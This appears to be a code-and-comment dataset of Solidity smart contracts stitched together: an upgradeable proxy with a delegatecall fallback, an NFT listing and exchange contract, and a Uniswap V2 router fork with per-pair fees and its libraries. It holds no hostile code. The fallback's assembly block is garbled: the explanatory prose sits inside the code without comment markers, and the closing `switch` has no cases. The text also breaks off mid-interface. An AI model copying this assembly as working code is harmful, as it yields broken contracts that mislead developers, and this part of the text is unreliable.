* @return the address of the proxy owner
*/
function proxyOwner() public view returns (address) {
return upgradeabilityOwner();
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0));
emit ProxyOwnershipTransferred(proxyOwner(), newOwner);
setUpgradeabilityOwner(newOwner);
}
/**
* @dev Allows the upgradeability owner to upgrade the current version of the proxy.
* @param version representing the version name of the new implementation to be set.
* @param implementation representing the address of the new implementation to be set.
*/
function upgradeTo(uint256 version, address implementation) public onlyProxyOwner {
_upgradeTo(version, implementation);
}
/**
* @dev Allows the upgradeability owner to upgrade the current version of the proxy and call the new implementation
* to initialize whatever is needed through a low level call.
* @param version representing the version name of the new implementation to be set.
* @param implementation representing the address of the new implementation to be set.
* @param data represents the msg.data to bet sent in the low level call. This parameter may include the function
* signature of the implementation to be called with the needed payload
*/
function upgradeToAndCall(uint256 version, address implementation, bytes data) payable public onlyProxyOwner {
upgradeTo(version, implementation);
require(address(this).call.value(msg.value)(data));
}
}
// File: contracts/upgradeability/EternalStorageProxy.sol
/**
* @title EternalStorageProxy
* @dev This proxy holds the storage of the token contract and delegates every call to the current implementation set.
* Besides, it allows to upgrade the token's behaviour towards further implementations, and provides basic
* authorization control functionalities
*/
contract EternalStorageProxy is OwnedUpgradeabilityProxy, EternalStorage {}
|
* @dev Tells the address of the implementation where every call will be delegated. @return address of the implementation to which it will be delegated/* @dev Fallback function allowing to perform a delegatecall to the given implementation. This function will return whatever the implementation call returns/
|
function () payable public {
address _impl = implementation();
require(_impl != address(0));
assembly {
0x40 is the "free memory slot", meaning a pointer to next slot of empty memory. mload(0x40)
loads the data in the free memory slot, so `ptr` is a pointer to the next slot of empty
memory. It's needed because we're going to write the return data of delegatecall to the
free memory slot.
let ptr := mload(0x40)
`calldatacopy` is copy calldatasize bytes from calldata
First argument is the destination to which data is copied(ptr)
Second argument specifies the start position of the copied data.
Since calldata is sort of its own unique location in memory,
0 doesn't refer to 0 in memory or 0 in storage - it just refers to the zeroth byte of calldata.
That's always going to be the zeroth byte of the function selector.
Third argument, calldatasize, specifies how much data will be copied.
calldata is naturally calldatasize bytes long (same thing as msg.data.length)
calldatacopy(ptr, 0, calldatasize)
delegatecall params explained:
gas: the amount of gas to provide for the call. `gas` is an Opcode that gives
us the amount of gas still available to execution
_impl: address of the contract to delegate to
ptr: to pass copied data
calldatasize: loads the size of `bytes memory data`, same as msg.data.length
0, 0: These are for the `out` and `outsize` params. Because the output could be dynamic,
these are set to 0, 0 so the output data will not be written to memory. The output
data will be read using `returndatasize` and `returdatacopy` instead.
result: This will be 0 if the call fails and 1 if it succeeds
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
ptr current points to the value stored at 0x40,
because we assigned it like ptr := mload(0x40).
Because we use 0x40 as a free memory pointer,
we want to make sure that the next time we want to allocate memory,
we aren't overwriting anything important.
So, by adding ptr and returndatasize,
we get a memory location beyond the end of the data we will be copying to ptr.
We place this in at 0x40, and any reads from 0x40 will now read from free memory
mstore(0x40, add(ptr, returndatasize))
`returndatacopy` is an Opcode that copies the last return data to a slot. `ptr` is the
slot it will copy to, 0 means copy from the beginning of the return data, and size is
the amount of data to copy.
`returndatasize` is an Opcode that gives us the size of the last return data. In this case, that is the size of the data returned from delegatecall
returndatacopy(ptr, 0, returndatasize)
if `result` is 0, revert.
if `result` is 1, return `size` amount of data from `ptr`. This is the data that was
copied to `ptr` from the delegatecall return data
switch result
}
}
| 15,421,485
|
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./full_match/44787/0x1818c1Ef317666607807DeB5d5EA69F0461734F1/sources/contracts/common/MultiSig.sol
|
* @notice Emitted when a confirmed proposal is successfully executed. @param proposalId The ID of the proposal that was executed. @param returnData The response that was recieved from the external call./
|
event ProposalExecuted(uint256 indexed proposalId, bytes returnData);
| 13,265,949
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
//contract user context (use this instead of msg.sender and msg.data)
import "@openzeppelin/contracts/utils/Context.sol";
//implementation of ERC721 Non-Fungible Token Standard
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
//IMultiClass interface
import "./../interfaces/IMultiClassExchange.sol";
//abstraction of MultiClassFees
import "./MultiClassFees.sol";
/**
* @dev Abstract extension of MultiClass that allows tokens to be listed
* and exchanged considering royalty fees
*/
abstract contract MultiClassExchange is
Context, ERC721, MultiClassFees, IMultiClassExchange
{
// mapping of `tokenId` to amount
// amount defaults to 0 and is in wei
// apparently the data type for ether units is uint256 so we can interact
// with it the same
// see: https://docs.soliditylang.org/en/v0.7.1/units-and-global-variables.html
mapping (uint256 => uint256) private _book;
/**
* @dev Returns the amount a `tokenId` is being offered for.
*/
function listingOf(uint256 tokenId) public view override returns(uint256) {
return _book[tokenId];
}
/**
* @dev Lists `tokenId` on the order book for `amount` in wei.
*/
function _list(uint256 tokenId, uint256 amount) internal {
//error if the sender is not the owner
// even the contract owner cannot list a token
require(
ownerOf(tokenId) == _msgSender(),
"MultiClassExchange: Only the token owner can list a token"
);
//disallow free listings because solidity defaults amounts to zero
//so it's impractical to determine a free listing from an unlisted one
require(
amount > 0,
"MultiClassExchange: Listing amount should be more than 0"
);
//add the listing
_book[tokenId] = amount;
//emit that something was listed
emit Listed(_msgSender(), tokenId, amount);
}
/**
* @dev Removes `tokenId` from the order book.
*/
function _delist(uint256 tokenId) internal {
address owner = ownerOf(tokenId);
//error if the sender is not the owner
// even the contract owner cannot delist a token
require(
owner == _msgSender(),
"MultiClassExchange: Only the token owner can delist a token"
);
//this is for the benefit of the sender so they
//dont have to pay gas on things that dont matter
require(
_book[tokenId] != 0,
"MultiClassExchange: Token is not listed"
);
//remove the listing
delete _book[tokenId];
//emit that something was delisted
emit Delisted(owner, tokenId);
}
/**
* @dev Allows for a sender to exchange `tokenId` for the listed `amount`
*/
function _exchange(uint256 tokenId, uint256 amount) internal virtual {
//get listing
uint256 listing = listingOf(tokenId);
//should be a valid listing
require(listing > 0, "MultiClassExchange: Token is not listed");
//value should equal the listing amount
require(
msg.value == listing,
"MultiClassExchange: Amount sent does not match the listing amount"
);
//payout the fees
uint256 remainder = _escrowFees(tokenId, amount);
//get the token owner
address payable tokenOwner = payable(ownerOf(tokenId));
//send the remainder to the token owner
tokenOwner.transfer(remainder);
//transfer token from owner to buyer
_transfer(tokenOwner, _msgSender(), tokenId);
//now that the sender owns it, delist it
_delist(tokenId);
}
}
|
* @dev Returns the amount a `tokenId` is being offered for./
|
function listingOf(uint256 tokenId) public view override returns(uint256) {
return _book[tokenId];
}
| 12,921,449
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// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.7.0;
import './libraries/UniswapV2Library.sol';
import './libraries/SafeMath.sol';
import './libraries/TransferHelper.sol';
import './interfaces/IUniswapV2Router02.sol';
import './interfaces/IUniswapV2Factory.sol';
import './interfaces/IERC20.sol';
import './interfaces/IWETH.sol';
contract UniswapV2Router02 is IUniswapV2Router02 {
using SafeMathUniswap for uint;
address public immutable override factory;
address public immutable override WETH;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED');
_;
}
constructor(address _factory, address _WETH) {
factory = _factory;
WETH = _WETH;
}
receive() external payable {
assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) internal virtual returns (uint amountA, uint amountB) {
// pair should be created beforehand by setter
require(IUniswapV2Factory(factory).getPair(tokenA, tokenB) != address(0), 'UniswapV2Router: INVALID_PAIR');
(uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IUniswapV2Pair(pair).mint(to);
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = UniswapV2Library.pairFor(factory, token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
IWETH(WETH).deposit{value: amountETH}();
assert(IWETH(WETH).transfer(pair, amountETH));
liquidity = IUniswapV2Pair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair
(uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to);
(address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) {
(amountToken, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, amountToken);
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountA, uint amountB) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountToken, uint amountETH) {
address pair = UniswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline);
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountETH) {
(, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, IERC20Uniswap(token).balanceOf(address(this)));
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountETH) {
address pair = UniswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(
token, liquidity, amountTokenMin, amountETHMin, to, deadline
);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, msg.value, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= msg.value, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
// refund dust eth, if any
if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]);
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output));
uint amountInput;
uint amountOutput;
{ // scope to avoid stack too deep errors
(uint reserve0, uint reserve1,) = pair.getReserves();
(uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
amountInput = IERC20Uniswap(input).balanceOf(address(pair)).sub(reserveInput);
amountOutput = UniswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput, pair.fee());
}
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
pair.swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) {
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
uint balanceBefore = IERC20Uniswap(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20Uniswap(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
payable
ensure(deadline)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
uint amountIn = msg.value;
IWETH(WETH).deposit{value: amountIn}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn));
uint balanceBefore = IERC20Uniswap(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20Uniswap(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
ensure(deadline)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
_swapSupportingFeeOnTransferTokens(path, address(this));
uint amountOut = IERC20Uniswap(WETH).balanceOf(address(this));
require(amountOut >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).withdraw(amountOut);
TransferHelper.safeTransferETH(to, amountOut);
}
// **** LIBRARY FUNCTIONS ****
function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) {
return UniswapV2Library.quote(amountA, reserveA, reserveB);
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut, uint fee)
public
pure
virtual
override
returns (uint amountOut)
{
return UniswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut, fee);
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut, uint fee)
public
pure
virtual
override
returns (uint amountIn)
{
return UniswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut, fee);
}
function getAmountsOut(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return UniswapV2Library.getAmountsOut(factory, amountIn, path);
}
function getAmountsIn(uint amountOut, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return UniswapV2Library.getAmountsIn(factory, amountOut, path);
}
function pairFor(address tokenA, address tokenB)
public
view
virtual
returns (address pair)
{
return UniswapV2Library.pairFor(factory, tokenA, tokenB);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.7.0;
import '../interfaces/IUniswapV2Pair.sol';
import "./SafeMath.sol";
library UniswapV2Library {
using SafeMathUniswap for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'2c9ae7ca53313464c145e7ebce6a2fc39695e87d8f3c076547264d27fb3bded2' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut, uint fee) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
require(fee <= 50, 'UniswapV2Library: INVALID_FEE');
uint amountInWithFee = amountIn.mul(1000-fee);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut, uint fee) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
require(fee <= 50, 'UniswapV2Library: INVALID_FEE');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(1000-fee);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
uint fee = IUniswapV2Pair(pairFor(factory, path[i], path[i + 1])).fee();
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut, fee);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
uint fee = IUniswapV2Pair(pairFor(factory, path[i - 1], path[i])).fee();
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut, fee);
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.7.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function fee() external view returns (uint);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
function setFee(uint) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMathUniswap {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.7.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.7.0;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.7.0;
interface IUniswapV2Router01 {
function factory() external view returns (address);
function WETH() external view returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
